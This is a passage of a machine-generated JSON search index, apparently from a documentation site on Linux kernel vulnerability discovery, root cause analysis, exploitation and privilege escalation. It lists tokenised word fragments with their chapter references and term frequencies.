docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.016025641025641024},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}},"s":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},".":{"docs":{},"t":{"docs":{},"x":{"docs":{},"t":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}},":":{"docs":{},"q":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"r":{"docs":{},"e":{"docs":{},"s":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"o":{"docs":{},"d":{"docs":{},"u":{"docs":{},"c":{"docs":{},"e":{"docs":{},"r":{"docs":{},".":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.00641025641025641}}}}}}}}}}},"q":{"docs":{},"u":{"docs":{},"i":{"docs":{},"r":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"e":{"docs":{},"s":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"_":{"docs":{},"k":{"docs":{},"e":{"docs":{},"y":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"v":{"docs":{},"i":{"docs":{},"s":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}},"i":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"e":{"docs":{},"r":{"docs":{},"t":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"s":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"n":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"s":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"c":{"docs":{},"i":{"docs":{},"p":{"docs":{},"i":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"l":{"docs":{},"a":{"docs":{},"i":{"docs":{},"m":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"o":{"docs":{},"r":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}}},"m":{"docs":{},"m":{"docs":{},"e":{"docs":{},"n":{"docs":{},"d":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"u":{"docs":{},"r":{"docs":{},"s":{"docs":{},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"e":{"docs":{},"i":{"docs":{},"v":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}}}}},"a":{"docs":{},"p":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}},"v":{"docs":{},"m":{"docs":{},"s":{"docs":{},"g":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.00504060487258471}},"(":{"docs":{},"s":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"_":{"docs":{},"f":{"docs":{},"d":{"docs":{},"[":{"0":{"docs":{},"]":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"docs":{}}}}}}}}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}},"f":{"docs":{},"e":{"docs":{},"r":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0017118402282453639}},"e":{"docs":{},"n":{"docs":{},"c":{"docs":{"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}},"e":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"g":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}},"s":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"s":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}},"m":{"docs":{},"a":{"docs":{},"i":{"docs":{},"n":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"o":{"docs":{},"t":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},"e":{"docs":{},"/":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"v":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.009615384615384616},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}},"e":{"docs":{},"_":{"docs":{},"w":{"docs":{},"a":{"docs":{},"i":{"docs":{},"t":{"docs":{},"_":{"docs":{},"q":{"docs":{},"u":{"docs":{},"e":{"docs":{},"u":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"e":{"docs":{},"+":{"0":{"docs":{},"x":{"2":{"7":{"docs":{},"/":{"0":{"docs":{},"x":{"1":{"2":{"2":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}}},"docs":{}},"docs":{}}},"docs":{}},"(":{"docs":{},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"w":{"docs":{},"h":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"q":{"docs":{},"_":{"docs":{},"h":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},"=":{"0":{"docs":{},"x":{"docs":{},"f":{"docs":{},"f":{"docs":{},"f":{"docs":{},"f":{"8":{"8":{"8":{"0":{"0":{"docs":{},"c":{"1":{"8":{"docs":{},"f":{"2":{"docs":{},"a":{"0":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"docs":{}}},"docs":{}}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}},"docs":{}}}}}}}}}},"_":{"docs":{},"w":{"docs":{},"a":{"docs":{},"i":{"docs":{},"t":{"docs":{},".":{"docs":{},"c":{"docs":{},":":{"5":{"2":{"docs":{},"(":{"docs":{},"e":{"docs":{},"x":{"docs":{},"i":{"docs":{},"t":{"docs":{},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}},"docs":{}},"docs":{}}}}}}}}}}}}},"e":{"docs":{},"u":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}},"e":{"docs":{},"m":{"docs":{},"b":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"e":{"docs":{},"r":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}},"s":{"docs":{},"p":{"docs":{},"e":{"docs":{},"c":{"docs":{},"t":{"docs":{},"i":{"docs":{},"v":{"docs":{},"e":{"docs":{},"l":{"docs":{},"y":{"docs":{},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0019602352282273874}},"a":{"docs":{},"r":{"docs":{},"t":{"docs":{},"_":{"docs":{},"b":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},"o":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}},"e":{"docs":{},"_":{"docs":{},"s":{"docs":{},"i":{"docs":{},"g":{"docs":{},"m":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{},":":{"1":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"docs":{}}}}}}}}}},"d":{"docs":{},".":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}}}}},"r":{"docs":{},"i":{"docs":{},"c":{"docs":{},"t":{"docs":{},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"u":{"docs":{},"l":{"docs":{},"t":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"m":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},"e":{"docs":{},"s":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}},"e":{"docs":{},"a":{"docs":{},"r":{"docs":{},"c":{"docs":{},"h":{"docs":{},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"o":{"docs":{},"u":{"docs":{},"r":{"docs":{},"c":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/resources.html":{"ref":"chapters/resources.html","tf":10.0125}}}}}}},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0016802016241949033}},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"u":{"docs":{},"r":{"docs":{},"n":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.002982530890498509},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.005420827389443652},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.002520302436292355}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"_":{"docs":{},"e":{"docs":{},"r":{"docs":{},"r":{"docs":{},"o":{"docs":{},"r":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0016802016241949033}}},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"n":{"docs":{},"d":{"docs":{},"e":{"docs":{},"r":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}}},"i":{"docs":{},"n":{"docs":{},"t":{"docs":{},"r":{"docs":{},"o":{"docs":{},"d":{"docs":{},"u":{"docs":{},"c":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},"t":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}}}},"u":{"docs":{},"n":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.005703422053231939},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}},"n":{"docs":{},"a":{"docs":{},"b":{"docs":{},"l":{"docs":{},"e":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"t":{"docs":{},"i":{"docs":{},"m":{"docs":{},"e":{"docs":{},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"l":{"docs":{},"e":{"docs":{},"s":{"docs":{},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"i":{"docs":{},"n":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"b":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}},"_":{"docs":{},"n":{"docs":{},"o":{"docs":{},"d":{"docs":{},"e":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"r":{"docs":{},"o":{"docs":{},"o":{"docs":{},"t":{"docs":{},"_":{"docs":{},"c":{"docs":{},"a":{"docs":{},"c":{"docs":{},"h":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"e":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}},"p":{"docs":{},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},"x":{"docs":{},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},"n":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"r":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"c":{"docs":{},"u":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"_":{"docs":{},"a":{"docs":{},"s":{"docs":{},"s":{"docs":{},"i":{"docs":{},"g":{"docs":{},"n":{"docs":{},"_":{"docs":{},"p":{"docs":{},"o":{"docs":{},"i":{"docs":{},"n":{"docs":{},"t":{"docs":{},"e":{"docs":{},"r":{"docs":{},"(":{"docs":{},"t":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}}}}}}}}}}}}}}}}}}}},"h":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"n":{"docs":{},"o":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"e":{"docs":{},"_":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"r":{"docs":{},"y":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},"_":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"_":{"docs":{},"n":{"docs":{},"e":{"docs":{},"s":{"docs":{},"t":{"docs":{},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}},"u":{"docs":{},"n":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"_":{"docs":{},"s":{"docs":{},"p":{"docs":{},"e":{"docs":{},"c":{"docs":{},"i":{"docs":{},"a":{"docs":{},"l":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}}}}}},"s":{"docs":{},"p":{"docs":{},"e":{"docs":{},"c":{"docs":{},"i":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"t":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{},"s":{"docs":{},"_":{"docs":{},"h":{"docs":{},"o":{"docs":{},"l":{"docs":{},"d":{"docs":{},"o":{"docs":{},"u":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"_":{"docs":{},"l":{"docs":{},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}},"i":{"docs":{},"d":{"docs":{},"l":{"docs":{},"e":{"docs":{},"_":{"docs":{},"c":{"docs":{},"p":{"docs":{},"u":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"x":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"n":{"docs":{},"v":{"docs":{},"c":{"docs":{},"s":{"docs":{},"w":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}},"x":{"docs":{},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},"a":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}},"i":{"docs":{},"g":{"docs":{},"h":{"docs":{},"t":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}},"s":{"docs":{},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"p":{"docs":{},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}},"m":{"docs":{},"i":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"o":{"docs":{},"b":{"docs":{},"u":{"docs":{},"s":{"docs":{},"t":{"docs":{},"_":{"docs":{},"l":{"docs":{},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{},"_":{"docs":{},"h":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}},"o":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.017110266159695818},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":3.3350451735615785},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0014001680201624195},"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"/":{"docs":{"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}},"u":{"docs":{},"n":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"q":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"s":{"docs":{},"s":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"i":{"docs":{},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},"p":{"docs":{},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}},"t":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"_":{"docs":{},"m":{"docs":{},"u":{"docs":{},"t":{"docs":{},"e":{"docs":{},"x":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"_":{"docs":{},"w":{"docs":{},"a":{"docs":{},"i":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},"p":{"docs":{},"r":{"docs":{},"i":{"docs":{},"o":{"docs":{},"r":{"docs":{},"i":{"docs":{},"t":{"docs":{},"y":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}},"d":{"docs":{},"i":{"docs":{},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},"x":{"docs":{},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},"l":{"docs":{},"l":{"docs":{},"i":{"docs":{},"n":{"docs":{},"k":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"s":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}},"w":{"docs":{},"_":{"docs":{},"c":{"docs":{},"o":{"docs":{},"p":{"docs":{},"y":{"docs":{},"_":{"docs":{},"c":{"docs":{},"h":{"docs":{},"e":{"docs":{},"c":{"docs":{},"k":{"docs":{},"_":{"docs":{},"u":{"docs":{},"v":{"docs":{},"e":{"docs":{},"c":{"docs":{},"t":{"docs":{},"o":{"docs":{},"r":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}},"(":{"docs":{},"i":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"t":{"docs":{},"y":{"docs":{},"p":{"docs":{},"e":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}}}}}}}}}}}},"f":{"docs":{},"_":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}},"t":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.004057971014492754}},"a":{"docs":{},"g":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}},"k":{"docs":{},"e":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"b":{"docs":{},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"c